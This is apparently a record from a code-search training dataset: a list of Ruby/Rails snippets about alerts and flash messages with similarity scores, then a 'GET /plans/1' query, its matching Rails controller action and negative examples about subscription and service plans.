"def alert_box(heading, content, html_options = {})\n html_options = html_options.stringify_keys\n html_options['class'] = \"alert_box #{html_options['class']}\"\n content_tag(:div, html_options) do\n content_tag(:div) do\n content_tag(:p, heading, class: 'alert_box_heading') << content\n end\n end\n end",
"def alert; end",
"def alert; end",
"def create_alert(category = nil, email = 'test@example.com')\n category ||= Admin::Alert.categories[:breakdown]\n\n Admin::Alert.create!(description: 'test ' * 25,\n category: category,\n email: email)\n end",
"def flash_class(level)\n case level\n when :notice then 'alert alert-info'\n when :success then 'alert alert-success'\n when :error then 'alert alert-error'\n when :alert then 'alert'\n end\n end",
"def flash_class(level)\n case level\n when :notice then \"alert alert-info\"\n when :success then \"alert alert-success\"\n when :error then \"alert alert-error\"\n when :alert then \"alert alert-alert\"\n end\n end",
"def display_alert(lead: 'Error', body: '', type: 'alert-danger')\n _div.alert class: type, role: 'alert' do\n _p.lead lead\n _markdown body\n end\nend",
"def flash_class(level)\n case level\n when :notice then \"alert alert-info\"\n when :success then \"alert alert-success\"\n when :error then \"alert alert-error\"\n when :alert then \"alert alert-error\"\n end\n end",
"def create_alert(data=nil)\n if (!data.blank? && data.is_a?(Hash))\n @alert = Alert.create(data)\n else\n create_service\n create_host\n\n @service.hosts << @host\n @service.save\n \n @alert = Alert.create(:name => \"Test Alert #{rand(1..1000)}\", :description => \"Test alert description.\", :active => true, :limit => 600, :condition => :greater_than, :condition_target => Alert::CONDITION_TARGET_ALL, :error_control => true, :service_id => @service.id, :hosts => [@host])\n end\n end",
"def flash_class(level)\n\t\t case level\n\t\t\twhen :notice then \"alert alert-info\"\n\t\t\twhen :success then \"alert alert-success\"\n\t\t\twhen :error then \"alert alert-danger\"\n\t\t\twhen :warning then \"alert alert-warning\"\n\t\t end\n\t\tend",
"def flash_class(level)\n level = level.to_s\n case level\n when 'success' then 'alert alert-success'\n when 'notice' then 'alert alert-info'\n when 'alert' then 'alert alert-danger'\n when 'danger' then 'alert alert-danger'\n end\n end",
"def flash_class(level)\n case level\n when :notice then 'alert alert-info'\n when :success then 'alert alert-success'\n when :error then 'alert alert-danger'\n when :alert then 'alert alert-info'\n end\n end",
"def alert!\n self.severity = :ALERT\n end",
"def flash_class(level)\n case level\n when 'notice' then\n 'alert alert-info'\n when 'success' then\n 'alert alert-success'\n when 'error' then\n 'alert alert-danger'\n when 'alert' then\n 'alert alert-warning'\n end\n end",
"def to_notice(_notification_class, *_args)\n raise \"to be implemented by including class!\"\n end",
"def notify content = nil, options = nil, html_options = nil, &block\n UiBibz::Ui::Alert.new(content, options, html_options, &block).render\n end",
"def flash_class(level)\n case level\n when 'notice' then \"alert alert-info\"\n when 'success' then \"alert alert-success\"\n when 'error' then \"alert alert-danger\"\n when 'alert' then \"alert alert-error\"\n end\n end",
"def alerts\n haml_tag :div, :class => 'alerts', :id => 'alerts' do\n haml_tag :div, :class => 'success' do\n haml_concat notice\n end if notice\n haml_tag :div, :class => 'error' do\n haml_concat alert\n end if alert\n end if alert || notice\n end",
"def show_errors_as_alert_with_class_string(errors, class_string)\n errors_html = \"<div class='alert alert-error alert-center\"\n if !class_string.nil? && !class_string.empty?\n errors_html << \" \" + class_string\n end\n errors_html << \"'><button type='button' class='close' data-dismiss='alert'>×</button>\" +\n \"<strong>Errors occurred: \"\n errors.each {\n errors_html << errors.join(\"; \")\n }\n errors_html << \"</strong></div>\"\n return errors_html.html_safe\n end",
"def flash_class(level)\n case level\n when :info then ' alert-info'\n when :notice then ' alert-success'\n when :error then ' alert-error'\n when :alert then ''\n else ''\n end\n end",
"def flash_class(level)\n case level\n when :error\n when :alert\n \"alert alert-error\"\n else\n \"alert alert-success\"\n end\n end",
"def create_notification(notification)\n \"<div class='alert alert-primary notification-body' role='alert'><%= #{notification.body} %></div>\"\n end",
"def alert\n self[:alert]\n end",
"def flash_class(level)\n case level\n when 'notice' then \"alert alert-info\"\n when 'success' then \"alert alert-success\"\n when 'error' then \"alert alert-danger\"\n when 'alert' then \"alert alert-warning\"\n end\n end",
"def create\n @alert = Alert.new(params[:alert])\n notifiers = Hash.new\n User.find(params[:notifiers]).each{|user| notifiers[user.id] = 0}\n @alert.notifiers = notifiers\n @alert.host = params[:host]\n @alert.trigger = params[:trigger]\n respond_to do |format|\n if @alert.save\n format.html { redirect_to @alert, notice: 'Alert was successfully created.' }\n format.json { render json: @alert, status: :created, location: @alert }\n\t AlertMailer.new_alert(@alert.id).deliver\n else\n format.html { render action: \"new\" }\n format.json { render json: @alert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def alert( msg ) \n\t\tbegin\n\t \tAas::Application.ShowAlertDialog msg\n\t rescue Exception => e\n\t puts_ex e\n\t end\n\tend",
"def alert_box\n frm.div(:class=>\"alertMessage\")\n end",
"def check_alert(name)\n case name\n when :notice\n 'success'\n when :danger\n 'danger'\n when :warning\n 'warning'\n else\n 'info'\n end\n end",
"def show_errors_as_alert(errors)\n return show_errors_as_alert_with_class_string(errors, nil)\n end",
"def flash_message_class_for(name)\n {\n \"notice\" => \"success\",\n \"alert\" => \"alert\",\n \"warning\" => \"warning\",\n }.fetch(name)\n end",
"def flash_message_class_for(name)\n {\n \"notice\" => \"success\",\n \"alert\" => \"alert\",\n \"warning\" => \"warning\",\n }.fetch(name)\n end",
"def alert\n Alert.new(@bridge)\n end",
"def flash_message_class_for(name)\n {\n 'notice' => 'success',\n 'alert' => 'alert',\n 'warning' => 'warning'\n }.fetch(name)\n end",
"def create\n @alert_trigger_type = AlertTriggerType.new(params[:alert_trigger_type])\n\n respond_to do |format|\n if @alert_trigger_type.save\n flash[:notice] = 'AlertTriggerType was successfully created.'\n format.html { redirect_to(admin_alert_trigger_type_path(@alert_trigger_type)) }\n format.xml { render :xml => @alert_trigger_type, :status => :created, :location => @alert_trigger_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alert_trigger_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def bootstrap_class_for flash_type\n { success: \"alert-success\", error: \"alert-danger\", alert: \"alert-warning\", notice: \"alert-info\" }[flash_type.to_sym] || flash_type.to_s\n end",
"def alert(msg) log(1, msg); end",
"def alert text, config={}\n\n if text.is_a? Canis::Variable \n text = text.get_value\n end\n _title = config[:title] || \"Alert\"\n tp = MessageBox.new config do\n title _title\n button_type :ok\n message text\n #text mess\n end\n tp.run\nend",
"def notice_message(cls: 'alert-box')\n flash_messages = []\n _type = 'notice'\n flash.each do |type, message|\n next if message.nil?\n _type = type\n flash_messages << html_msg(message, cls) if message\n end\n \"<div class='#{_type}' id='notice'><div class='layui-container'>#{flash_messages.join(\"\\n\")}</div></div>\".html_safe\n #flash_messages.join(\"\\n\").html_safe\n end",
"def adm_user_create_success_label\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"/CommonMessageSuccess/\"), __method__)\n end",
"def initialize(source_doc = {}, response = nil)\n super(source_doc, response)\n\n # item_alert hash has to be ready for access by type\n self.item_alerts = HashWithIndifferentAccess.new\n ItemAlert::ALERT_TYPES.each do |alert_type, _label|\n item_alerts[alert_type] = []\n end\n end",
"def flash_class(level)\n case level\n when :notice then \"alert-info alert-dismissable\"\n when :success then \"alert-success alert-dismissable\"\n when :error then \"alert-danger\"\n when :alert then \"alert-warning alert-dismissable\"\n end\n end",
"def create\n @alert = Alert.new(alert_params)\n\n respond_to do |format|\n if @alert.save\n format.html { redirect_to root_path, notice: \"Has creado una nueva alerta. Pronto te avisaremos cuando encontremos lo que buscas\" }\n format.json { render :show, status: :created, location: @alert }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @alert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_alert(body, opts = {})\n data, _status_code, _headers = create_alert_with_http_info(body, opts)\n return data\n end",
"def bootstrapAlert(flashAlert)\n output = ''\n case flashAlert\n when 'alert' then output = 'danger'\n when 'error' then output = 'danger'\n when 'notice' then output = 'info'\n when 'success' then output = 'success'\n when 'warning' then output = 'warning'\n else output = 'info'\n end\n\n return output\n end",
"def mensajes(lista)\n lista.collect do |tipo, mensaje|\n content_tag :div, class: alerta(tipo) do\n content_tag(:button, '×', class: 'close', data: { dismiss: 'alert' }) +\n mensaje\n end\n end.join.html_safe\n end",
"def alert_name\n @@alert_name\n end",
"def create_alert(project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'POST'\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/alerts'\n\t\targs[:query]['Action'] = 'CreateAlert'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :alert\n\t\t\targs[:body]['Alert'] = optional[:alert]\n\t\tend\n\t\tself.run(args)\n\tend",
"def new\n @import = Import.new\n\n #testing for Airbrake\n begin\n #pass otehr stuff to the notice in a params hash!\n params = {\"Rails Environment\" => Rails.env}\n my_unpredicable_method(params)\n rescue => e\n Airbrake.notify(\n :error_class => \"Custom Class\"\n :error_message => \"Generated from inside of the new method in the imports controller\"\n :parameters => params\n )\n\n end \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @import }\n end\n end",
"def notify!(status)\n msg = message.call(model, status: status_data_for(status))\n\n hash = { alert_type: default_alert_type(status) }\n hash.store(:msg_title, @title)\n hash.store(:date_happened, @date_happened) if @date_happened\n hash.store(:priority, @priority) if @priority\n hash.store(:host, @host) if @host\n hash.store(:tags, @tags) if @tags\n hash.store(:aggregation_key, @aggregation_key) if @aggregation_key\n hash.store(:source_type_name, @source_type_name) if @source_type_name\n hash.store(:alert_type, @alert_type) if @alert_type\n send_event(msg, hash)\n end",
"def bootstrap_class_for(flash_type)\n if flash_type == \"alert\"\n \"alert alert-dismissable alert-danger\"\n\n elsif flash_type == \"notice\"\n \"alert alert-dismissable alert-success\"\n\n elsif flash_type == \"warning\"\n \"alert alert-dismissable alert-warning\"\n\n else\n flash_type.to_s\n\n end\n end",
"def alert_tag(instance)\n return unless instance.is_a?(ApplicationRecord) # this function if for active record child classes only.\n return if instance.errors.empty? # nothing to display\n div_tag(id: \"#{instance.class.name.downcase}_errors\", class: %w(alert alert-danger), role: :alert) do\n ul_tag do\n safe_join(instance.errors.full_messages.map{ |message| li_tag{ message } })\n end\n end\n end",
"def create_notification; end",
"def flash_message(type, message)\n \"<div class=\\\"alert-message #{type}\\\"><p>#{message}</p></div>\".html_safe\n end",
"def alert(msg, action)\n\tSTDERR.puts \"ERROR:\\t#{msg}\"\n\tSTDERR.puts \"\\t#{action}\"\nend",
"def flash_class(level)\n\t\tcase level\n\t\t\twhen :notice then \"success\"\n\t\t\twhen :error then \"error\"\n\t\t\twhen :alert then \"warning\"\n\t\tend\n\tend",
"def bootstrap_class_for flash_type\n case flash_type.to_sym\n when :success\n \"alert-success\"\n when :error\n \"alert-danger\"\n when :alert\n \"alert-warning\"\n when :notice\n \"alert-info\"\n else\n flash_type.to_s\n end\n end",
"def bootstrap_class_for flash_type\n case flash_type\n when \"success\"\n \"alert-success\" # Green\n when \"error\"\n \"alert-danger\" # Red\n when \"alert\"\n \"alert-warning\" # Yellow\n when \"notice\"\n \"alert-info\" # Blue\n else\n flash_type.to_s\n end\n end",
"def bootstrap_class_for flash_type\n case flash_type\n when \"success\"\n \"alert-success\" # Green\n when \"error\"\n \"alert-danger\" # Red\n when \"alert\"\n \"alert-warning\" # Yellow\n when \"notice\"\n \"alert-info\" # Blue\n else\n flash_type.to_s\n end\n end",
"def new\n @alert_trigger_type = AlertTriggerType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alert_trigger_type }\n end\n end",
"def bootstrap_class_for flash_type\n case flash_type\n when \"success\"\n \"alert-success\" # Green\n when \"error\"\n \"alert-danger\" # Red\n when \"alert\"\n \"alert-warning\" # Yellow\n when \"notice\"\n \"alert-info\" # Blue\n else\n flash_type.to_s\n end\n end",
"def alert\n browser.find_element(class: 'alert-warning')\n end",
"def create\n if current_user.is_admin\n @user_alert = UserAlert.new(params[:user_alert])\n\n respond_to do |format|\n if @user_alert.save\n flash[:notice] = 'UserAlert was successfully created.'\n format.html { redirect_to(@user_alert) }\n format.xml { render :xml => @user_alert, :status => :created, :location => @user_alert }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_alert.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to new_session_path\n end\n end",
"def method_missing(symbol, *args, &block)\n NSLog(format('MEalert: %s method not found', symbol))\n super\n end",
"def alert_messages(*alert_message)\n # delete invalid message\n alert_message.reject! { |msg| msg.blank? } unless alert_message.blank?\n alert_message = [] if alert_message.blank?\n # delete invalid system alert message\n if alert.class == Array && !alert.blank?\n system_alert = alert.reject { |msg| msg.blank? }\n elsif !alert.blank?\n system_alert = alert\n end\n # concatinate alerts\n unless system_alert.blank?\n if system_alert.class == Array\n alert_message += system_alert\n else\n alert_message << system_alert\n end\n end\n\n return \"\" if alert_message.blank?\n\n message = alert_message.class == Array ? alert_message.map { |msg| content_tag(:li, msg) }.join : \"<li>#{alert_message.to_s}</li>\"\n\n html = <<-HTML\n <div class=\"alert alert-block\">\n <a class=\"close\" data-dismiss=\"alert\">×</a>\n <h4 class=\"alert-heading\">#{t('alert_title')}</h4>\n <ul>#{message}</ul>\n </div>\n HTML\n html.html_safe\n end",
"def open_alert_window(msg, options={})\n options[:width] ||= 200\n options[:modal] = true\n options[:title] ||= 'Alert!'\n options[:buttons] ||= {'OK' => 'function(){ jQuery(this).dialog(\"close\");}'}\n store_content(msg, 'alert_modal');\n self << \"\n if(jQuery('#alert_modal').size() == 0){\n jQuery('<div id=\\\"alert_modal\\\"></div>')\n .html(window_rails_contents['alert_modal'])\n .dialog(#{format_type_to_js(options)});\n } else {\n jQuery('#alert_modal')\n .html(window_rails_contents['alert_modal'])\n .dialog(#{format_type_to_js(options)}).focus();\n }\"\n nil\n end",
"def alert\n <<-SCPT\n on run argv\n set _application to item 1 of argv\n set _message to item 2 of argv\n tell application _application\n activate\n display alert _message as warning\n end tell\n end run\n SCPT\n end",
"def alert msg\n document.get_default_view.alert(msg)\n end",
"def alerts\n #checking to see if params hash in flash msg has a value\n alert = (flash[:alert] || flash[:error] || flash[:notice])\n\n if alert\n alert_generator alert\n end\n end",
"def bootstrap_class_for flash_type\n case flash_type\n when :success\n \"alert-success\"\n when :error\n \"alert-danger\"\n when :alert\n \"alert-warning\"\n when :notice\n \"alert-info\"\n else\n flash_type.to_s\n end\n end",
"def sendAlertEmail\n QuestionMailer.question(self)\n end",
"def alert_message(title=\"Alert\", &block)\n render layout: \"/flash_message\", locals: { title: title, css_class: \"alertmessage\" }, &block\n end",
"def alert(*args, &block)\n bootbox_call(__method__, *args, &block)\n end",
"def alert(statement, question = nil)\n ui.alert statement, question\n end",
"def alert(message)\n $stdout.puts(message.green)\nend",
"def bootstrap_class_for(flash_type)\n case flash_type\n when \"success\"\n \"alert-success\" # Green\n when \"error\"\n \"alert-danger\" # Red\n when \"alert\"\n \"alert-warning\" # Yellow\n when \"notice\"\n \"alert-info\" # Blue\n else\n flash_type.to_s\n end\n end",
"def alert=(alert)\n @alert = alert\n end",
"def create\n @alert = Alert.new(alert_params)\n\n respond_to do |format|\n if @alert.save\n format.html { redirect_to alerts_path, notice: 'Alert was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @alert }\n else\n format.html { render action: 'new' }\n format.json { render json: @alert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n original_prefix = self.class.prefix\n if attributes[:alert_id]\n self.class.prefix += \"alert/:alert_id/\"\n prefix_options[:alert_id] = alert_id\n end\n super\n ensure\n self.class.prefix = original_prefix\n end",
"def create_alert_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.create_alert ...\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling AlertApi.create_alert\"\n end\n # resource path\n local_var_path = \"/v2/alerts\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SuccessResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#create_alert\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @alert = Alert.new(params[:alert])\n @alert.sent = false\n\n if @alert.save\n if @alert.hit_web\n @alert.update_attribute(:sent, true)\n redirect_to new_alert_url, notice: \"¡Hey! Ya hay trenes para esta fecha. Visita <a href='http://www.renfe.com'>Renfe</a>\".html_safe\n else\n AlertMailer.created(@alert).deliver\n redirect_to new_alert_url, notice: 'Nueva alerta configurada. Recibirás email cuando haya disponibilidad de trenes'\n end\n else\n render action: \"new\"\n end\n end",
"def create\n @tipo_alerta = TipoAlerta.new(params[:tipo_alerta])\n\n respond_to do |format|\n if @tipo_alerta.save\n format.html { redirect_to @tipo_alerta, notice: 'Tipo alerta was successfully created.' }\n format.json { render json: @tipo_alerta, status: :created, location: @tipo_alerta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_alerta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def notify_form_errors(object, **options)\n options.reverse_merge!(\n row_class: \"row m-b-1\",\n col_class: \"col-md-12\",\n alert_class: \"alert alert-danger\",\n ul_class: \"\",\n ul_style: \"margin-bottom: 0px;text-align:left;\",\n li_class: \"\",\n li_style: \"\"\n )\n if object.errors.any?\n content_tag(:div, class: options[:row_class]) do \n content_tag(:div, class: options[:col_class]) do \n content_tag(:div, class: options[:alert_class]) do \n content_tag(:ul, class: options[:ul_class], style: options[:ul_style]) do \n li_array = []\n object.errors.each do |attr, msg|\n next unless object.errors[attr].last == msg\n li_array << content_tag(:li, class: options[:li_class], style: options[:li_style]) do \n # If the error is base, dont show the text base\n ( attr.to_s == \"base\" ? \"\" : content_tag(:strong, \"#{attr.to_s.titleize}: \") ) + msg\n end\n end\n raw(li_array.join(\" \"))\n end\n end\n end\n end\n end\n end",
"def alerts=(value)\n @alerts = value\n end",
"def flash_class(level)\n case level\n when :notice then 'flash-notice'\n when :error then 'flash-error'\n when :alert then 'flash-alert'\n end\n end",
"def alerts(type = 'price')\n authenticated_post(\"auth/r/alerts\", params: {type: type}).body\n end"
] |
[
"0.6694163",
"0.65749335",
"0.65026635",
"0.64409816",
"0.64355475",
"0.64298034",
"0.62995327",
"0.6254261",
"0.6146238",
"0.6124005",
"0.59250563",
"0.58062875",
"0.57916653",
"0.57615536",
"0.57615536",
"0.5754141",
"0.5677368",
"0.5677368",
"0.5674681",
"0.56524885",
"0.5633646",
"0.5632703",
"0.55894107",
"0.55824417",
"0.55810213",
"0.55549073",
"0.5554796",
"0.5523975",
"0.5521644",
"0.55076337",
"0.5504136",
"0.549923",
"0.54868776",
"0.5484604",
"0.54792297",
"0.5478017",
"0.5463978",
"0.5458725",
"0.5455287",
"0.54268974",
"0.5426144",
"0.53838605",
"0.5362435",
"0.53319764",
"0.53290045",
"0.53290045",
"0.53141856",
"0.5312258",
"0.5296274",
"0.52959925",
"0.529437",
"0.52898955",
"0.5285458",
"0.52823913",
"0.5266355",
"0.5265064",
"0.5262465",
"0.5257442",
"0.5233734",
"0.520702",
"0.5191894",
"0.51905054",
"0.5186049",
"0.5179544",
"0.5176749",
"0.51709586",
"0.5169652",
"0.5164883",
"0.51539814",
"0.51516783",
"0.51481664",
"0.51424235",
"0.51424235",
"0.51417947",
"0.5141402",
"0.5138827",
"0.51322013",
"0.5118816",
"0.51097393",
"0.51076204",
"0.5103374",
"0.5103267",
"0.51024175",
"0.50979924",
"0.5095286",
"0.507657",
"0.50747806",
"0.507452",
"0.50696415",
"0.50619274",
"0.5047152",
"0.50414747",
"0.5034674",
"0.5026278",
"0.50261223",
"0.50256276",
"0.50191724",
"0.50182533",
"0.5004978",
"0.49903125"
] |
0.5940275
|
10
|
GET /plans/1 GET /plans/1.json
|
def show
@plan = Plan.find(params[:id])
@plan_days = @plan.plan_days
respond_to do |format|
format.html # show.html.erb
format.json { render json: @plan }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def plans(params = {})\n scope 'default'\n get('plans/', params)\n end",
"def index\n @plans = Plan.all\n\n render json: @plans\n end",
"def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end",
"def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end",
"def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end",
"def show\n render json: @plan\n end",
"def index\n respond_with(@plans = Plan.all)\n end",
"def index\n @plans = Plan.all\n end",
"def index\n @plans = Plan.all\n end",
"def show\n @plans = Stripe::Plan.all\n end",
"def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end",
"def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end",
"def show\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planitem }\n end\n end",
"def show\n @plan = Plan.find(params[:id])\n end",
"def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end",
"def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end",
"def all_plans\n file = File.read('./data/bundle.json')\n plan_hash = JSON.parse(file)\n plans = plan_hash['plans']\n end",
"def show\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_plan }\n end\n end",
"def plan\n data['plans'][me]\n end",
"def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end",
"def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end",
"def url\n resource.url + '/application_plans'\n end",
"def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end",
"def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end",
"def index\n @plans = Plan.where(user_id: current_user.id)\n end",
"def show(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :get) do |req|\n req.params = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end",
"def status\n @plan = Plan.find(params[:id])\n authorize @plan\n respond_to do |format|\n format.json { render json: @plan.status }\n end\n end",
"def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end",
"def index\n @test_plans = @project.test_plans\n end",
"def read_service_plans()\n @client.service_plans\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_plan }\n end\n end",
"def show\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_setting }\n end\n end",
"def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end",
"def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end",
"def show\n @work_plan = WorkPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_plan }\n end\n end",
"def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end",
"def show\n @id = params[:id]\n if @id\n @plans = Plan.where(:servicio_id => @id)\n else\n @plans = Plan.all\n end\n\n end",
"def index\n @plans = Plan.order('created_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @plans }\n end\n end",
"def show\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end",
"def show\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klassplan }\n end\n end",
"def show\n id = @call.plan_id\n @plan = Plan.find(id)\n @plan = @plan.name\n end",
"def index_crud\n\n @plans = Plan.all\n render :index_crud\n end",
"def index\n @page_plans = PagePlan.all\n end",
"def show\n set_client_profile(@plan)\n @goals = @plan.goals\n @tasks = @plan.tasks\n end",
"def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end",
"def index\n @billing_plans = BillingPlan.all\n end",
"def show\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype_strategy }\n end\n end",
"def pharmacy_plans(params = {})\n response = default_scope.get('pharmacy/plans') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end",
"def index\n @callplans = Callplan.all\n end",
"def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end",
"def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end",
"def show\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @plan }\n end\n end",
"def show\n @project_procurement_management_plan = ProjectProcurementManagementPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end",
"def index\n if user_signed_in?\n @plans = Plan.where(user_id: current_user.id)\n else\n @plans = []\n end\n end",
"def index\n @lesson_plans = current_user.lesson_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_plans }\n end\n end",
"def plans=(value)\n @plans = value\n end",
"def show\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lunchplan }\n end\n end",
"def index\n @payment_plans = PaymentPlan.all\n end",
"def show\n @id = @plan.id\n @name = @plan.name\n @major = @plan.major\n end",
"def show\n @planner = Planner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planner }\n end\n end",
"def retrievePlan(_planId)\n result = ChargeBee::Plan.retrieve(_planId)\n return result.plan\n end",
"def retrievePlan(_planId)\n result = ChargeBee::Plan.retrieve(_planId)\n return result.plan\n end",
"def plans\n return @plans\n end",
"def show\n @workout_plan = @single_plan.workout_plans.first\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @single_plan }\n end\n end",
"def new\n @sslplan = Sslplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sslplan }\n end\n end",
"def show\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plannegocio }\n end\n end",
"def show\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise_plan }\n end\n end",
"def show\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lesson_plan }\n end\n end",
"def get_test_plan\n @takt = Taktinfo.find(params[:id])\n @testplans = @takt.testplans.where(:format =>params[:testp])\n\n respond_to do |format|\n format.json{render json:@testplans.as_json(root:false),:callback =>params[:callback]}\n end\n end",
"def show\n @plan_milestone = PlanMilestone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_milestone }\n end\n end",
"def find_plan\n if params[:plan_ids].present?\n @plan = @provider.service_plans.published.find(params[:plan_ids].first)\n end\n end",
"def new\n @plan_setting = PlanSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_setting }\n end\n end",
"def list_plans(filter: nil)\n {\n plans: filter_content(pal.list_plans_with_cache(filter_content: true), filter),\n modulepath: pal.user_modulepath\n }\n end",
"def index\n @tipo_plans = TipoPlan.all\n end",
"def index\n if current_user.is_admin?\n @plans = Plan.all\n else\n @plans = Plan.where(user_id: current_user.id)\n end\n end",
"def show\n @backend_planet = Backend::Planet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_planet }\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def floorplans\r\n FloorplansController.instance\r\n end",
"def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end",
